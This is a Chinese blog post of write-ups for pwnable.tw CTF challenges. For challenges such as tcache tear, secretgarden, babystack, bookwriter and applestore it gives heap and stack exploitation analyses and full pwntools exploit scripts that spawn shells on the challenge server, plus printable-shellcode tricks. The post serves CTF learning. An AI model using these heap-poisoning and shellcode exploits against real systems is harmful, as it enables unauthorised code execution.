pwnab13.7w

tcache tear

分析

UAF但是没有泄露,libc2.27的,考虑用tcache打到stdout来造成泄露。然后写free_hook

exp

from pwn import *

context(arch = 'amd64' , os = 'linux', log_level="debug")
context.terminal = ['tmux', 'splitw', '-h']

#p = process('./tcache_tear')
p = remote("chall.pwnable.tw", 10207)

#proc_base = p.libs()[p.cwd + p.argv[0].strip('.')]
libc = ELF('./libc.so.6')

ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda   : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b) 
sla = lambda a,b : p.sendlineafter(a, b)
slog = lambda x : log.success(x)
flog = lambda x : log.success(x)


def debug(cmd):
    gdb.attach(p, cmd)
    pause()


def malloc(size, ctx):
    sla("choice :", "1")
    sla("Size:", str(size))
    sa("Data:", ctx)


def free():
    sla("choice :", "2")


sla('Name:', "t1an5t")

cmd = "set $a=%d" %(0x602088)
#debug(cmd)
malloc(0x50, "t1an5t")
free()
free()
malloc(0x50, p64(0x602020))
malloc(0x50, "11")
malloc(0x50, "\x60")
malloc(0x50, p64(0xfbad1800) + p64(0)*3 + "\x00")

leak = ru('\x7f').strip("\x00")
leak = u64(leak.ljust(8, "\x00"))
libc_base = leak - 0x3ed8b0
print hex(libc_base)

malloc(0x70, "t1an5t")
free()
free()
malloc(0x70, p64(libc_base+libc.symbols['__free_hook']))
malloc(0x70, "t1an5t")

one = [0x4f2c5, 0x4f322, 0x10a38c]
malloc(0x70, p64(libc_base+one[1]))
free()

p.interactive()

seethefile

分析

呃,scanf溢出了,但是用不了,因为退不出去。name可以覆盖到fp

看起来还挺安全的,可以任意文件读,但是文件名里不能有flag,文件内容里不能有FLAG

看了p4nda师傅的博客后知道,可以通过查看/proc/self/maps的方法泄露基地址。

然后覆盖掉fp做一个类似于houseoforange的伪造file的操作来getshell

就是exit调用abort 一系列流程。懒得写了,直接从网上扒了一个下来。

打进去之后还要用get_flag来读出来,输入Give me the flag就行了。

#include <unistd.h>
#include <stdio.h>

int read_input(char *buf,unsigned int size){
    int ret ;
    ret = read(0,buf,size);
    if(ret <= 0){
        puts("read error");
        exit(1);
    }
    if(buf[ret-1] == '\n')
        buf[ret-1] = '\x00';
    return ret ;
}

int main(){
    char buf[100];
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    printf("Your magic :");
    read_input(buf,40);
    if(strcmp(buf,"Give me the flag")){
        puts("GG !");
        return 1;
    }
    FILE *fp = fopen("/home/seethefile/flag","r");
    if(!fp){
        puts("Open failed !");
    }
    fread(buf,1,40,fp);
    printf("Here is your flag: %s \n",buf);
    fclose(fp);
}

exp

from pwn import *
from tpwn import *
context(arch = 'i386' , os = 'linux', log_level="debug")
#context.terminal = ['tmux', 'splitw', '-h']

#p = process('./seethefile')
p = remote('chall.pwnable.tw',  10200)
ru, sn, rl, sl, rv, sa, sla, slog, flog = simple_io(p)
libc = ELF('./libc.so.6')

def open(filename):
    sla("choice :", "1")
    sla('see :', filename)


def read():
    sla("choice :", "2")


def write():
    sla("choice :", "3")


def close():
    sla("choice :", "4")
#gdb.attach(p)

open('/proc/self/maps')
read()
write()
rl()
rl()
rl()
rl()
leak = "0x"+ru("\n").split("-")[0]
libc_base = int(leak ,16) +0x1000
slog(hex(libc_base))
system = libc_base + libc.symbols['system']

addr=0x0804B300
payload=''
#padding+change *fp
payload+='a'*32 + p32(addr)
payload+='\x00'*(0x80-4)
#fake IO file
#flag+code
payload+='\xff\xff\xdf\xff;$0\x00'.ljust(0x94,'\x00')
#change vtable
payload+=p32(addr+0x98)
payload+=p32(system)*21

sla("choice :", "5")
sla('name :', payload)
p.interactive()

death note

分析

听起来很厉害的名字,怎么又是32位的,真的是不想做。

看着没什么问题,但是,可以输入负值啊。

本质上是一道写shellcode的题目,通过输入负值将堆地址打进exitgot,然后调用exit的时候就可以跳到堆上来执行shellcode,但是这个shellcode需要特殊构造,因为对输入有限制,所以输入的shellcode需要满足is_printable,长度限制是80

主要的问题在于int80这个没办法写,所以想办法把栈劫持到了shellcode的那个堆上,然后把int80这个字节码push进去,让他正好在继续执行的地方,这里构造了好久。其他的都好办。

p4nda原来的博客里搜到这个,可以以后通用:

还搜到了https://github.com/VincentDary/PolyAsciiShellGen 这个

1.数据传送:
push/pop eax…
pusha/popa

2.算术运算:
inc/dec eax…
sub al, 立即数
sub byte ptr [eax… + 立即数], al dl…
sub byte ptr [eax… + 立即数], ah dh…
sub dword ptr [eax… + 立即数], esi edi
sub word ptr [eax… + 立即数], si di
sub al dl…, byte ptr [eax… + 立即数]
sub ah dh…, byte ptr [eax… + 立即数]
sub esi edi, dword ptr [eax… + 立即数]
sub si di, word ptr [eax… + 立即数]

3.逻辑运算:
and al, 立即数
and dword ptr [eax… + 立即数], esi edi
and word ptr [eax… + 立即数], si di
and ah dh…, byte ptr [ecx edx… + 立即数]
and esi edi, dword ptr [eax… + 立即数]
and si di, word ptr [eax… + 立即数]

xor al, 立即数
xor byte ptr [eax… + 立即数], al dl…
xor byte ptr [eax… + 立即数], ah dh…
xor dword ptr [eax… + 立即数], esi edi
xor word ptr [eax… + 立即数], si di
xor al dl…, byte ptr [eax… + 立即数]
xor ah dh…, byte ptr [eax… + 立即数]
xor esi edi, dword ptr [eax… + 立即数]
xor si di, word ptr [eax… + 立即数]

4.比较指令:
cmp al, 立即数
cmp byte ptr [eax… + 立即数], al dl…
cmp byte ptr [eax… + 立即数], ah dh…
cmp dword ptr [eax… + 立即数], esi edi
cmp word ptr [eax… + 立即数], si di
cmp al dl…, byte ptr [eax… + 立即数]
cmp ah dh…, byte ptr [eax… + 立即数]
cmp esi edi, dword ptr [eax… + 立即数]
cmp si di, word ptr [eax… + 立即数]

5.转移指令:
push 56h
pop eax
cmp al, 43h
jnz lable

<=> jmp lable

6.交换al, ah
push eax
xor ah, byte ptr [esp] // ah ^= al
xor byte ptr [esp], ah // al ^= ah
xor ah, byte ptr [esp] // ah ^= al
pop eax

7.清零:
push 44h
pop eax
sub al, 44h ; eax = 0

push esi
push esp
pop eax
xor [eax], esi ; esi = 0

exp

写了将近三个小时的shellcode,快死了,真的是死亡笔记。。

from pwn import *
from tpwn import *
context(arch = 'i386' , os = 'linux', log_level="debug")

#p = process('./death_note')
p = remote('chall.pwnable.tw',  10201)
ru, sn, rl, sl, rv, sa, sla, slog, flog = simple_io(p)
elf = ELF('./death_note')

def add(idx, ctx):
    sla("choice :", "1")
    sla("Index :", str(idx))
    sa('Name :', ctx)


def show(idx):
    sla("choice :", "2")
    sla("Index :", str(idx))


def free(idx):
    sla("choice :", "3")
    sla("Index :", str(idx))


def debug(cmd):
    gdb.attach(p, cmd)
    #pause()

cmd = "b *0x8048873"
#debug(cmd)

idx1 = (elf.got['free']-0x804a060)/4
#show(idx1)

shellcode = '''
    /* execve(path='/bin///sh', argv=0, envp=0) */
    /* push '/bin///sh\x00' */
    push 0x68
    push 0x732f2f2f
    push 0x6e69622f
    push esp
    pop ebx
    push ecx
    pop edx

     push 0x50
     push 0x7e
     pop eax
     inc eax
     inc eax
     xor al, 77
     push eax
     pop edi
     xor al, 77
     push edi
     inc esp
     inc esp
     inc esp
     inc esp
     inc esp
     push eax
     dec esp
     dec esp
     dec esp
     dec esp
     dec esp
     pop edi
     pop edi    

     pop esi
     pop esi
     pop esi
     pop esi
     pop esi    
     pop eax
     xor al, 88

     push eax
    pop esp
    push 33
    pop eax
    xor al, 42
     push edi
     dec esi
     dec esi
     dec esi
     dec esi
     push edi

''' 
# cd 50 int 0x80 edi 0x80cd

shellcode = asm(shellcode) + '\x6b\x40\x00'
add(idx1, shellcode)

free(idx1)

p.interactive()

starbound

分析

这也太大了,顶不住,先放一放。

secretgarden

分析

alloc会开辟一个信息堆块,结构:

struct info{
    int flag;
    char *ctx_ptr;
    char color[24];
}

开辟后清空信息堆块内容,flag置1,ctx_ptr放入内容堆块指针,然后信息堆块会放到全局数组里。

remove功能会free掉内容堆块,flag置0,但是指针不清空,这里根本没检测,uaf

clean功能会freeflag为0的信息堆块,指针也被清空

所以泄露还是很简单的,只需要放到unsortbin再拿出来。

接下来想办法控制__malloc_hookone_gadget,那就需要搞出一个fastbin attack。很简单的操作,有__malloc_hook-0x23

我的exp是真的没问题了,我也不知道为什么打不通,偷的别人的exp打的…

exp

from pwn import *
from tpwn import *
context(arch = 'amd64' , os = 'linux', log_level="debug")
context.terminal = ['tmux', 'splitw', '-h']

LOCAL = 0
if LOCAL:
    p = process('./secretgarden')
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    proc_base = get_proc_base(p)
else:
    p = remote("chall.pwnable.tw", 10203)
    libc = ELF('./libc_64.so.6')

elf = ELF('./secretgarden')
ru, sn, rl, sl, rv, sa, sla, slog, flog = simple_io(p)


def debug(cmd=""):
    gdb.attach(p, cmd)
    pause()


def choose(idx):
    sla("Your choice : ", str(idx))


def alloc(len, name, color):
    choose(1)
    sla("name :", str(len))
    sa("flower :", name)
    sla("flower :", color)


def visit():
    choose(2)


def remove(idx):
    choose(3)
    sla("garden:", str(idx))


def clean():
    choose(4)

if LOCAL:
    cmd = '''set $a=%d\n'''%(proc_base+0x202040)
    #debug(cmd)

alloc(0xf8, "0", "0")  # 0
alloc(0xf8, "1", "1")  # 1
alloc(0xf8, "2", "2")  # 2
alloc(0x60, "3", "3")  # 3
alloc(0x60, "4", "4")  # 4
alloc(0xf8, "5", "5")  # 5

remove(0)
clean()
alloc(0xf8, "3", "3")  # 0
visit()
ru(' :')
leak = u64(ru('\x7f').ljust(8, "\x00"))
libc_base = leak - (0xdcdb33-0xa09000)
print hex(libc_base)
remove(3)
remove(4)
remove(3)

payload = p64(libc_base+libc.symbols['__malloc_hook']-0x23)*2
alloc(0x60, payload, "6")  # 6
alloc(0x60, "7", "7")  # 7
alloc(0x60, "8", "8")  # 8

one_remote = [0x45216, 0x4526a, 0xef6c4, 0xf0567]
one_local = [0x45216, 0x4526a, 0xf02a4, 0xf1147]

alloc(0x60, "a"*0x13+p64(libc_base+one_remote[2]), "9")  # 9

remove(3)
remove(3)
p.interactive()

alive note

分析

看这描述像是写shellcode,我是真的不想写了,一滴都没有了。

进了IDA看了看,其实就是death note的强化版。

输入长度只有8,输入只能是字母和数字。

发现一个好的地方就是jnz是可以用的,所以可以用第一块堆块劫持free@got,然后不断地跳转来执行shellcode。最后调用free执行shellcode,因为昨天写deathnote写崩了,所以不想写了。

babystack

分析

就两个功能,Login()Copy()Login里因为使用了strcmp,所以可以单字节爆破得到passwordCopy里使用的是strcpy,可以带数据。调试分析很重要。

这脚本是真的慢。找一个没人的时间跑。

exp

from pwn import *
context(arch = 'amd64' , os = 'linux')
context.terminal = ['tmux', 'splitw', '-h']
#context.log_level = "debug"

#p = process("./babystack")
#proc_base = p.libs()[p._cwd+p.argv[0].strip('.')]
p = remote("chall.pwnable.tw", 10205)

elf = ELF("./babystack")
#libc = p.libc
libc = ELF("./libc_64.so.6")


def debug(cmd=""):
    gdb.attach(p, cmd)


def brute_passwd():
    res = ""
    for _ in range(16):
        for one in range(1, 256):
            one = chr(one)
            p.sendlineafter(">> ", "1")
            p.sendafter("passowrd :", res+one+"\x00")
            tmp = p.recvline()
            if "Failed !" in tmp:
                continue
            if "Success !" in tmp:
                res += one
                log.success("get password: %s" %res)
                p.sendlineafter(">> ", "1")
                break
    return res

def brute_passwd2():
    res = "c"*8+""
    for _ in range(16):
        for one in range(1, 256):
            one = chr(one)
            p.sendlineafter(">> ", "1")
            p.sendafter("passowrd :", res+one+"\x00")
            tmp = p.recvline()
            if "Failed !" in tmp:
                continue
            if "Success !" in tmp:
                res += one
                log.success("get password: %s" %res)
                p.sendlineafter(">> ", "1")
                break
    return res

#cmd = "b *%d\n" %(proc_base+0xe1e)  # read_n in Login()
#cmd = "b *%d\n" %(proc_base+0x1030) # finish Copy() in main()
#cmd += "b *%d\n" %(proc_base+0xea5) # read_n in Copy()
#cmd += "b *%d\n" %(proc_base+0xebb) # strcpy in Copy()
#cmd += "set $a = %d" %(proc_base+0x202018)  # bss
#debug(cmd)

res = brute_passwd()
if len(res) == 16:
    log.success("------ PASSWORD GET ------")
else:
    log.failure("------ PASSWORD WRONG ------")

p.sendlineafter(">> ", "1")
p.sendafter("passowrd :", res+"\x00"*0x10+"c"*0x28)

p.sendafter(">> ", "3\x00"+"a"*14)
p.sendafter("Copy :", "b"*0x3f)

p.sendlineafter(">> ", "1")

leak1 = brute_passwd2()[8:]
leak = u64(leak1.ljust(8, "\x00"))
libc.address = leak -0x78439
log.success("libc base :%s" %hex(libc.address))

p.sendlineafter(">> ", "1")

one = 0x45216 + libc.address
p.sendafter("passowrd :", "\x00"*0x18+"e"*0x28+res+"\x01"*0x18+p64(one))
p.sendafter(">> ", "3\x00"+"f"*14)
p.sendafter("Copy :", "g"*0x3f)

p.sendlineafter(">> ", "2")

p.interactive()

## flag: FLAG{Its_juS7_a_st4ck0v3rfl0w}

bookwriter

分析

下标看似有问题实则没问题,问题出在edit这里,edit之后每次会重新计算size,而输入内容的时候如果不输入\n并不会结尾封0,所以数据会和下一个堆块的size粘在一起。这就导致了重新计算size的时候,size就会变大,进而造成溢出到size

还有一个问题就是第八个堆块如果在chunk0被判断为长度为0的情况下,可以被使用,那么这样chunk0就可以造成很大的溢出。

而且没有free的情况下首先想到的就是HouseOfOrange,用我自己写好的轮子。

最近总是犯一些低级失误,libc偏移值总是搞错,而且总是忘记用远程的库,然后好久才反应过来。

exp

from pwn import *
from tpwn import *
#context(arch = 'amd64' , os = 'linux', log_level="debug")
context.terminal = ['tmux', 'splitw', '-h']

#p = process('./bookwriter', env={"LD_PRELOAD":"./libc_64.so.6"})
p = remote('chall.pwnable.tw',  10304)
ru, sn, rl, sl, rv, sa, sla, slog, flog = simple_io(p)
elf = ELF('./bookwriter')
libc = ELF("libc_64.so.6")
#libc = ELF('./libc.so.6')


name = p64(elf.got['__libc_start_main'])
sla('Author :', name)


def debug(cmd):
    gdb.attach(p, cmd)
    #pause()


def choose(idx):
    sla("choice :", str(idx))


def add(size, ctx):
    choose(1)
    sla('page :', str(size))
    sa('Content :', ctx)


def view(idx):
    choose(2)
    sla('page :', str(idx))


def edit(idx, ctx):
    choose(3)
    sla('page :', str(idx))
    sa('Content:', ctx)


cmd = "set $a=0x6020a0"
#debug(cmd)

add(0x18, "t1an5t")  # 0
edit(0, "a"*0x18)
edit(0, "a"*0x10+p64(0)+"\xe1\x0f\x00")
add(0x1000, "t1an5t")  # 1
add(0x20, "a")  # 2
view(2)
ru("Content :\n")
leak = u64(ru('\x7f').ljust(8, "\x00"))

#libc_base = leak - 0x3c4b61 -0x600
libc_base = leak - 0x3c4161 
print hex(libc_base)
#print hex(leak)

add(0x18, "t1an5t")  # 3
add(0x18, "t1an5t")  # 4
add(0x18, "t1an5t")  # 5
add(0x18, "t1an5t")  # 6
add(0x18, "t1an5t")  # 7
edit(0, "\x00")
add(0x18, "t1an5t")  # 8

payload = "a"*0x100 + house_of_orange_payload(libc, libc_base)
edit(0, payload)
edit(0, "\x00")    
choose(1)
sla('page :', "16")
p.interactive()

Heap paradise

分析

好吧,看名字就是堆题目,常规的菜单题目,只有allocfree两个功能,一看就是保护全开的那种。

free没有置0,明显的uafalloc只能开辟fastbin,这不就是疯狂暗示fastbin attack

但是,没有泄露啊。通过uaf造成overlap,之后是局部写的思路,1/16爆破泄露地址然后搞定。

bash

分析

从网上找对bash的分析。

https://peanut7379.github.io/2017/03/16/bash%E5%91%BD%E4%BB%A4%E8%A1%8C%E5%A4%84%E7%90%86%E6%AD%A5%E9%AA%A4%E5%8F%8A%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90/

bash这么多年就那么一个洞,你让我怎么顶得住。

https://coolshell.cn/articles/11973.html

3x17

静态编译的程序所以看着很烦,通过运行,搜索关键字符串找到main的位置。

任意地址的写。

secret of my heart

分析

有个后门函数泄露地址,但是没什么用。

Add里有一个鬼才的封0操作:

result = (_BYTE *)(ptr[5] + (signed int)read_n((void *)ptr[5], size));
*result = 0;

造成了off-by-one-null

Add的限制大小为0x100,疯狂暗示只能用0xf8

很复杂的数据结构,直接丢到linux里分析。

通过动态分析可知,信息被直接连续存储在mmap开辟的空间中。

结构可以表示为:

struct info{
    int size;
    char name[0x20];
    char *secret_ptr;
}

exp

from pwn import *
#context(arch = 'amd64' , os = 'linux', log_level="debug")
#context.terminal = ['tmux', 'splitw', '-h']

#p = process('./secret_of_my_heart')
#proc_base = p.libs()[p._cwd+p.argv[0].strip('.')]
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

p = remote("chall.pwnable.tw", 10302)
libc = ELF('./libc_64.so.6')


def debug(cmd=""):
    gdb.attach(p, cmd)
    #pause()


def add(size, name, ctx):
    p.sendlineafter("Your choice :", "1")
    p.sendlineafter("heart : ", str(size))
    p.sendafter("heart :", name)
    p.sendafter("heart :", ctx)


def show(idx):
    p.sendlineafter("Your choice :", "2")
    p.sendlineafter("Index :", str(idx))


def delete(idx):
    p.sendlineafter("Your choice :", "3")
    p.sendlineafter("Index :", str(idx))


#cmd = '''set $a=*(long*)(%s)''' % hex(proc_base+0x202018)
#debug(cmd)
add(0xf8, "0", "t1an5t")  # 0
add(0x68, "1", "t1an5t")  # 1
add(0x68, "2", "t1an5t")  # 2
add(0x68, "3", "t1an5t")  # 3
add(0x68, "4", "t1an5t")  # 4
add(0xf8, "5", "t1an5t")  # 5
add(0x30, "6", "t1an5t")  # 6

delete(0)
delete(4)

add(0x68, "0", "a"*0x60+p64(0x2c0))  # 0, off-by-null chunk 5

delete(5)

add(0xf8, "1", "t1an5t")  # 4

show(1)
p.recvuntil('Secret : ')
leak = u64(p.recvuntil('\x7f').ljust(8, "\x00"))
libc_base = leak-0x68-libc.symbols['__malloc_hook']
print hex(libc_base)

add(0x68, "5", "t1an5t")  # 5
delete(1)
delete(3)
delete(5)

add(0x68, "1", p64(libc_base+libc.symbols['__malloc_hook']-0x23))  # 1
add(0x68, "3", "t1an5t")
add(0x68, "5", "t1an5t")

one = [0x45216, 0x4526a, 0xef6c4, 0xf0567]
#one = [0x45216, 0x4526a, 0xf1147, 0xf02a4]
payload = "a"*0x13+p64(one[2]+libc_base)    
add(0x68, "5", payload)

delete(1)
delete(5)
p.interactive()

De-ASLR

分析

就一个gets,其实就是2018-xnuca-gets这道同类题。

总是记住一点就是:

leave
<===>
mov esp, ebp # assign the value of ebp to esp
pop ebp

学到了一种姿势就是栈迁移到got,然后从got中预留的leave和预先设置的rbp来返回。

还有一个技巧就是opcode01和其他东西容易凑出来一些加法gadget,且这个东西是ROPgadget搜不到的

比如01后面接的是rep retn,实际上是add ebx, esi; ret,那就舒服了。

所以只要我想办法把一个libc的地址丢到rbx上,然后加上偏移,就行了。

kidding

分析

栈溢出,静态编译,反向shell绕过,还未解决:

https://github.com/ntu-homeworks/ctf-final/tree/master/pwn/kidding

http://m4x.fun/post/play-with-file-descriptor-3/#reverse-shell-%E5%8E%9F%E7%90%86

主要是打不通。

calc

分析

一看700多k就知道是静态编译的了,先输入个+就会有问题。

printable

分析

感觉超级难的一道题,有明显的格式化字符串利用,但是并不知道该往什么地方写入。

而且close(1)之后printf还会不会有漏洞我也表示很迷。

CAOV

分析

C++,技术盲区?

给了源代码,在IDA里看过程其实更清晰。

是等于号运算符重载的时候,没有传回this指针,造成的浅复制问题。所以数据可以被栈上的数据污染。

Ghost Party

分析

这道看着人做的多一点,后来发现估计是因为网上有一份现成的exp

依然是给了源代码,极其嚣张。代码将近800行,写了400多行的类。

applestore

分析

加入iphone8的时候,加的不是开辟的结构体,而是栈里的数据,同时这个数据可以被我们的输入进行操控,从而从cart()实现任意地址的读,delete()里面进行一次没有检测的unlinkgetshell

exp

from pwn import *
context(arch = 'i386' , os = 'linux')
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = "debug"

#p = process("./applestore")
p = remote("chall.pwnable.tw", 10104)
elf = ELF("./applestore")
libc = ELF("./libc_32.so.6")

def choose(idx):
    p.sendlineafter("> ", str(idx))


def add(idx):
    choose(2)
    choose(idx)


def remove(idx):
    choose(3)
    choose(idx)


def List():
    choose(4)
    p.sendlineafter("> ", "y")


def check():
    choose(5)
    p.sendlineafter("> ", "y")


def debug(cmd=""):
    gdb.attach(p, cmd)


cmd = "set $a=%d\n" %(0x804b068)  # Cart in bss
#cmd += "b *0x8048ab9\n" # my_read in cart()
cmd += "b *0x80489e0\n" # my_read in delete()
cmd += "b *0x8048a70\n" # ret in delete()

#debug(cmd)

for i in range(6):
    add(1)

for i in range(20):
    add(2)

check()

choose(4)
p.sendlineafter("> ", "y\x00"+p32(elf.got['__libc_start_main'])+"\x00"*8)
p.recvuntil("27: ")
leak = u32(p.recv(4))
libc.address = leak-0x18540
log.success("libc base: %s" %hex(libc.address))

choose(4)
p.sendlineafter("> ", "y\x00"+p32(libc.symbols['environ'])+"\x00"*8)
p.recvuntil("27: ")
stack_leak = u32(p.recv(4))
log.success("leak stack address: %s" %hex(stack_leak))

choose(3)
ebp = stack_leak-0x104
fake = stack_leak-0x124

ebp_addr = stack_leak - 0x100
ebp_new_addr = ebp_addr - 0xc

p.recvuntil("> ")
p.sendline("27" + p32(elf.got['atoi']) + "aaaa" + p32(elf.got['atoi'] + 0x22) + p32(ebp_new_addr))
p.recvuntil("> ")
p.sendline(p32(libc.symbols['system'])+";/bin/sh\x00")
p.interactive()

critical_heap

分析

可以开辟三种结构体,TimeSystemNormal,他们的构造如下:

00000000 Time_struct     struc ; (sizeof=0x38, mappedto_8)
00000000 name_ptr        dq ?
00000008 alloc_flag      dq ?
00000010 flag_numb       dq ?
00000018 localtime_addr  dq ?
00000020 year            dd ?
00000024 month           dd ?
00000028 day             dd ?
0000002C hour            dd ?
00000030 min             dd ?
00000034 sec             dd ?
00000038 Time_struct     ends
00000038
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 System_struct   struc ; (sizeof=0x40, mappedto_9)
00000000 name_ptr        dq ?
00000008 alloc_flag      dq ?
00000010 flag_numb       dq ?
00000018 current_name_ptr dq ?
00000020 tmp1            dq ?
00000028 tmp2            dq ?
00000030 tmp3            dq ?
00000038 rand_numb       dq ?
00000040 System_struct   ends
00000040
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 Normal_struct   struc ; (sizeof=0x48, mappedto_11)
00000000 name_ptr        dq ?
00000008 alloc_flag      dq ?
00000010 flag_numb       dq ?
00000018 content         db 40 dup(?)
00000040 play_flag_numb  dq ?
00000048 Normal_struct   ends

delete里面也只是把alloc_flag清0而已。

Rename里面用strlen()计算原长度,可以被溢出。

Play里面根据flag_numb来判断执行哪个函数,推测应该从这里下手。

这个system_play很奇怪,


connect 1037178204@qq.com

文章标题:pwnab13.7w

本文作者:t1an5t

发布时间:2019-06-19, 15:14:30

最后更新:2020-03-17, 20:48:30

原始链接:http://yoursite.com/pwnab13-7w/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录